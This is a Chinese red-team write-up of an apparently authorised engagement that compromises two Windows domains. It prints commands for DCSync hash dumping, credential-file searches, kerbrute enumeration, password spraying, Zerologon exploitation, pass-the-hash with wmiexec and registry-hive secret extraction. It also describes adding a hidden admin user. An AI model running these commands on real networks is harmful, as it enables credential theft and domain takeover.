实战干货 | 无域用户下的内网域渗透,在一个庞大的内网里如何进行内网渗透?
2022-12-9 17:6:42 Author: 渗透Xiao白帽(查看原文) 阅读量:27 收藏

前言

大家好,这里是 渗透攻击红队RedTeam 系列文章,我是 saulGoodman ,本文仅用于技术讨论与研究,如因此产生的一切不良后果与文章作者无关!

当我们的目标的内网有整个 A 段这么大的时候,并且在这么一个庞大的内网里遇到多个域如何进行渗透?如何定位我们想要获取的东西、机器、或者其他,本篇文章给兄弟们分享如何在内网里进行资产梳理、Webshell 下的信息搜集、Linux 内网渗透思路、定位每一台域机器对应的 IP 是多少、host 碰撞获取内外网对应的资产、无域用户下的内网域渗透、CVE-2020-1472 ...

Webshell 下的信息搜集

在一次授权的红蓝对抗中是拿到了一枚 Webshell,当前权限是 admin,并非 root,并且发现 http、https 均出网,估且把 shell 弹到了 Metasploit,方便后续的信息搜集:

这个时候有些刚学内网的兄弟可能就会问了:既然不是 root 权限干嘛不提权?我想说:干嘛要提权?你提权的目的是什么?不提权就不能继续内网渗透了吗?

实际上在内网里遇到 Linux 的环境一般非必要不需要提权,只要能满足我们的一些基本操作就足矣,Linux 和 Windows 的内网渗透在本质上还是有一些区别的,并非拿到机器都需要去提权,还是那句话:不提权还能继续内网渗透吗?如果能,那么就不要提权。

对当前内网进行信息搜集,我一般习惯用 NetBios 或者 LDAP 去探测内网域,当然实际情况需要用到不同的手段,因为当前的 admin 权限没有 Ping 命令,在这里姑且用 NetBios 去对内网进行初步扫描,扫描后发现当前 xxx.xxx.42.xxx/16 段发现是有域的:

并且发现两台 DC,其中 40 的 DC 叫 AAA 域,30 的 DC 叫做 BBB 域,发现 AAA 域存在 17010,system 权限,可以执行命令,随后添加了一个隐藏用户并且添加到了管理员组:

但是登录过去发现有 CredSSP 认证:

无妨,我们通过 Metasploit 弹了一个正向 shell 后拿到域管理的 hash,随后远程导出域内用户 hash:

impacket-secretsdump -hashes xxxxx:xxxxx -just-dc AAAA.com/[email protected] -pwd-last-set

此时 AAA 域已经拿下,所有用户的 hash 也已经掌握(大家记住这里已经拿到 AAA 域的所有域用户密码,一会对 BBB 域有用)

随后通过 WMI 登录到 DC 上,然后去搜索一些密码文件:(要习惯如果拿到了一台 Windows 机器的权限,经可能的要去搜集它当前机器上的各类文件,里面说不定就有一些密码或者连接信息)

findstr /c:"username=" /c:"password=" /c:"uid=" /c:"pwd=" /si *.ini *.inf *.txt *.cgi *.conf *.asp *.php *.jsp *.aspx *.cgi *.xml *.log *.new *.bak

定位每一台域机器对应的 IP 是多少

就这样我得到了大量存放在域控机器上的密码,然后为了确定每一台域机器对应的 IP 是多少,首先提取当前域内完整 SPN 记录, 排序去重后过滤出机器名列表:

setspn -Q */* | findstr "CN=" > C:\windows\temp\host.txt

然后本地 linux 去过滤得到机器名:

awk -F "," '{print $1}' host.txt | awk -F "=" '{print $2}' > hosts.txt

最后来到当前 Windows 跳板机器上循环 Ping 得到机器  IP:

c:\windows\temp>cmd /c for /f "delims=" %i in (C:\windows\temp\hosts.txt) do @ping -w 3 -n 1 %i | findstr /c:"[1" >> C:\windows\temp\final.txt

这样就确定了每一台机器对应的 IP,若想要控某一台机器那就很方便了!

接下来对当前 AAA 域的内网进行信息搜集发现没有啥可利用的价值,随后选择继续横向信息搜集。

大家要知道在内网里乱横向信息搜集、乱扫描是毫无意义的!且容易被发现导致送人头,在这里可以把之前外网渗透时搜集到的目标子域名进行内网 host 碰撞,这样能够精确的知道每一台机器对应的是什么系统!

host 碰撞获取内外网对应资产

为了更好的定位内外网的资产对应关系,可以使用 win 自带的命令来帮我们获取:(Ping 的到的 IP 不一定就一定存活)

for /f "delims=" %i in (domain.txt) do @ping -w 1 -n 1 %i | findstr /c:"[10." /c:"[192." /c:"[172." >> out.txt

就这样我成功的掌握了当前内网里大部分机器 IP 对应的外网资产到底是什么系统,这样就很清晰的知道目标是什么什么了。

当然我也搜集了一些其他信息,通过扫一个 B 段哪些机器开放了 53 端口的 DNS ip,接着就可以拿着这些 ip 进行暴力枚举,具体能找到多少,需要看字典,枚举完成后会自动存到 csv 搜集 当然也可以通过工具:(如果当前机器出网的话也会枚举出公网 IP,个人建议找一台不出网的机器使用)

dnsbrute.exe -domain aaa.com -dict domain.txt -rate 1000 -retry 1 -server xxx.xxx.66.xxx:53

这样我又成功的拿到了一些内网资产包括一些隐藏资产,知道了这些资产的大概位置,对下一步具体该怎么更高效的搞也是有一定参考意义的,总的来讲,知道这些以后会让整个后渗透过程变得的更有针对性,也不至于搞着搞着就迷失放飞自我了,尤其当内网规模特别大的时候。

在这个时候我发现 BBB 域里有可能存在我想要的东西,但是当前 BBB 域没有任何漏洞,且通过探测只有一台 DC:xxx.xxx.30.xxx

无域用户下的内网域渗透

由于现在是无域用户下的内网渗透,所以我们需要拿到 BBB 域的一个域账号因为之前已经拿到了 AAA 域的所有用户 Hash,这个时候可以用到工具来尝试看看能不能撞库枚举:(因为当前没有一台 BBB 域的域机器,所以需要加一个 --dc 参数指定 BBB 域 DC 的 IP

通过把 AAA 域的所有域用户的账户名整理到 user.txt 里,大概有个 100 多个用户,然后尝试对 BBB 域进行装库,看看 AAA 域的用户有没有可能 BBB 域里也有:

kerbrute.exe userenum --dc xxx.xxx.30.xxx -d BBB.com user.txt

很幸运的是成功碰撞发现了 BBB 域里也有几个用户和 AAA 域里的用户!

然后通过之前拿到的 hash 去解密得到了这几个用户的明文密码,但是不知道这些 AAA 域用户的密码在这个 BBB 域里密码是不是相同的,只能看运气。

然后使用 Invoke-DomainPasswordSprayOutsideTheDomain.ps1 脚本对域内进行密码喷洒:(个人建议不要同一个用户爆破多个密码,在有些域里面会有密码错误机制,输入错误多少次这个域用户就会被锁定)

powershell -exec bypass
Import-Module .\Invoke-DomainPasswordSprayOutsideTheDomain.ps1
Invoke-DomainPasswordSprayOutsideTheDomain -UserList .\user.txt -Domain "xxx.xxx.30.xxx/DC=BBB,DC=com" -Password pass

很不幸的是并没有密码喷洒成功,当然这里只是给兄弟们一个思路,如何在无域用户下的一个域渗透思路。

CVE-2020-1472

这个时候就陷入了瓶颈 ...  后续通过发现 BBB 域的 DC 存在 CVE-2020-1472 漏洞:(具体利用流程我在知识星球 渗透攻击红队 写了,有需要的兄弟自取)

随后进行攻击重置 DC 密码:

这个时候就可以直接无密码远程 Dcsync 导出 BBB 域的 hash:

proxychains impacket-secretsdump bbb.com/BBB\[email protected]    -no-pass

然后 wmi 过去:

proxychains python3 wmiexec.py -hashes xxxx:xxxx bbb.com/[email protected]

这个时候 BBB 域也已经拿下,最后恢复一下密码,不让这个域脱域了就 GG 了:

C:\>reg save HKLM\SYSTEM system.save
The operation completed successfully.

C:\>reg save HKLM\SAM sam.save
The operation completed successfully.

C:\>reg save HKLM\SECURITY security.save
The operation completed successfully.

全部下载到本地然后获取 $MACHINE.ACC 值:

impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL

最后进行恢复:

proxychains python3 reinstall_original_pw.py BBBDC xxx.xxx.30.xxx xxxxxxxxx

尝试控密码看看能不能导出 hash,不能导出就说明恢复成功了:

Ok, 已经把 DC 恢复成功,这个时候继续信息搜集发现当前 DC ,还是老样子继续搜集当前已控机器上的各类文件:

findstr /c:"username=" /c:"password=" /c:"uid=" /c:"pwd=" /si *.ini *.inf *.txt *.cgi *.conf *.asp *.php *.jsp *.aspx *.cgi *.xml *.log *.new *.bak

幸运的是我得到了当前域的 Vcenter 的链接账号密码信息,最后通过登录到后台:

至此 BBB 域里所有机器,且整个内网大部分核心机器都在里面,最后一台一台的获取密码然后刷分...(此处省略三百字)

到这里这次的红蓝对抗就已经结束了,蓝队也自然自然的出局了...


文章来源: http://mp.weixin.qq.com/s?__biz=MzI1NTM4ODIxMw==&mid=2247495069&idx=1&sn=6a17ab6a3e47430b9e44a4b4fc32c8c1&chksm=ea3412c7dd439bd12ed0d3768209f5c19cd110bc5f960d85db61bec2c2ac61c5521c8b77b7b5#rd
如有侵权请联系:admin#unsafe.sh